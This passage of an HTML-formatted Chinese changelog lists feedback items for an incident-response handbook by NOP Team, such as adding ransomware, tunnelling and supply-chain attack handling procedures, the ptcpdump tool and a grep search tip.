style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">25.  改变PDF封面照片</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0025</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 19:42</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">改变为和 Windows 版本一致</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修改</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-01 22:30</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">26.  改变简介部分描述</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0026</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 19:42</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">改变为和 Windows 版本一致</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修改</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 20:11</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">27.  删除事件预警来源章节</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0027</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 20:11</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">删除事件预警来源章节</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已删除</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 23:45</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">28.  完善勒索病毒处置流程</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0028</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 23:30</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完善勒索病毒处置流程</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 23:56</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">29.  添加隧道处置流程</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0029</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 23:30</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加隧道处置流程</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-18 00:12</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">30.  暴力破解处置流程添加常规安全检查阶段</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0030</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:01</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">暴力破解处置流程添加常规安全检查阶段</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:05</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">31.  恶意软件包供应链攻击处置流程添加常规安全检查阶段</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0031</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:01</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">恶意软件包供应链攻击处置流程添加常规安全检查阶段</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:06</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">32.  添加工具 ptcpdump</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0032</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 15:33</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加工具 ptcpdump</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-31 23:12:34</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">33.  完善全局文件内容搜索技巧</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0033</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-17 13:26</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">尝试使用 grep -rnl 这样只显示文件名字，不会显示内容</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-17 19:02</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">34.  添加 ls* 系列工具</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 